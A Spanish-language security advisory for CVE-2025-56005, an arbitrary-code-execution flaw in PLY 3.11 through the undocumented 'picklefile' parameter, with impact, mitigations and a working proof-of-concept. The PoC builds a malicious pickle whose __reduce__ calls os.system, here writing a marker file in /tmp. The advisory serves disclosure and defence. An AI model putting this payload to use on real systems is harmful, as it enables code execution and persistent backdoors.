Volver a actualizaciones
ActualizadaSep 2, 2026

Undocumented-RCE-in-PLY — Actualizado!

RCE no documentado en PLY mediante el parámetro `picklefile`

Compartir

Ejecución Remota de Código No Documentada en PLY CVE‑2025‑56005

CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`

Resumen

Una característica no documentada e insegura en la versión distribuida en PyPI de PLY 3.11 permite la ejecución de código arbitrario cuando se invoca la función yacc() con el parámetro picklefile.

El parámetro picklefile hace que PLY deserialice un archivo .pkl usando pickle.load() de Python sin validación. Debido a que el módulo pickle de Python admite la ejecución de código arbitrario durante la deserialización (por ejemplo, mediante __reduce__()), un atacante que pueda controlar el archivo pickle suministrado puede ejecutar código arbitrario durante la inicialización del parser.

Este parámetro no está documentado en la documentación oficial de PLY ni en el repositorio de GitHub, sin embargo, está activo en la versión de PyPI.


Impacto

Si un atacante puede controlar, reemplazar o influir en el archivo .pkl pasado a yacc(picklefile=...), puede lograr:

  • Ejecución de código arbitrario
  • Ejecución durante el inicio de la aplicación
  • Ejecución de código antes de que se alcance cualquier lógica de análisis

Esto puede afectar a aplicaciones que cargan tablas de parser desde:

  • Ubicaciones en caché
  • Directorios compartidos
  • Pipelines de CI/CD
  • Rutas configurables o con permisos de escritura

🔍 Detalles de la Vulnerabilidad

  • Tipo de Vulnerabilidad: Ejecución de Código Arbitrario
  • Tipo de Ataque: Dependiente del contexto
  • Vector de Ataque: Deserialización insegura de un archivo pickle controlado por el atacante
  • Impacto: Ejecución de código
  • CWE: CWE‑502 (Deserialización de Datos No Confiables)

Funcionalidad Afectada

  • ply.yacc.yacc(picklefile=...)
  • LRTable.read_pickle() en ply/yacc.py

Información Adicional (Contexto y Riesgo)

Esta vulnerabilidad presenta un riesgo elevado debido a su naturaleza sigilosa y su potencial de persistencia.

El parámetro picklefile no está documentado en la documentación oficial de PLY ni en el repositorio de GitHub. Sin embargo, la versión distribuida en PyPI de PLY 3.11 incluye esta funcionalidad y procesa el archivo suministrado usando pickle.load() sin validación.

Debido a que el módulo pickle de Python permite la ejecución de código incrustado durante la deserialización, un archivo pickle malicioso puede ejecutar código arbitrario durante la configuración del parser, antes de que se invoque cualquier lógica de análisis.

En el momento de escribir esto, el mantenedor no ha reconocido públicamente este comportamiento.

Esta funcionalidad puede ser abusada para introducir puertas traseras persistentes, particularmente en entornos donde los archivos de tablas de parser son:

  • Almacenados en caché en disco
  • Compartidos entre usuarios o servicios
  • Generados o reutilizados en pipelines de CI/CD
  • Cargados desde rutas configurables o con permisos de escritura

Dada la falta de documentación, la ruta de ejecución silenciosa y el alto impacto de la deserialización insegura, se justifica la asignación de un CVE para crear conciencia y proteger a los usuarios posteriores.


Prueba de Concepto (PoC)

Esta prueba de concepto demuestra la ejecución de código arbitrario cuando se suministra un archivo pickle malicioso a través del parámetro no documentado picklefile.

Descripción General de la PoC

La PoC:

  • Define un lexer y un parser mínimos
  • Crea un payload pickle malicioso
  • Ejecuta un comando del sistema durante la deserialización

Resultado Esperado

Cuando se invoca yacc(picklefile='exploit.pkl'), se ejecuta código arbitrario durante la inicialización del parser.

import pickle
import os
from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    r'example'
    return t

def p_sample(p):
    'sample : EXAMPLE'
    pass

class Exploit:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
        return (os.system, (cmd,))

malicious_data = {
    '_tabversion': '3.11',
    '_lr_action': {0: {}},
    '_lr_goto': {0: {}},
    '_lr_productions': [
        (None, 0, 0, 0, Exploit())
    ],
    '_lr_method': 'LALR'
}

with open('exploit.pkl', 'wb') as f:
    pickle.dump(malicious_data, f)

parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')

Mitigación

  • No use el parámetro picklefile con archivos no confiables o con permisos de escritura externos
  • Evite cargar tablas de parser desde ubicaciones controladas por el usuario
  • Trate todos los archivos pickle como entrada no segura
  • Prefiera regenerar las tablas de parser en lugar de cargarlas desde el disco

Referencias

Categorías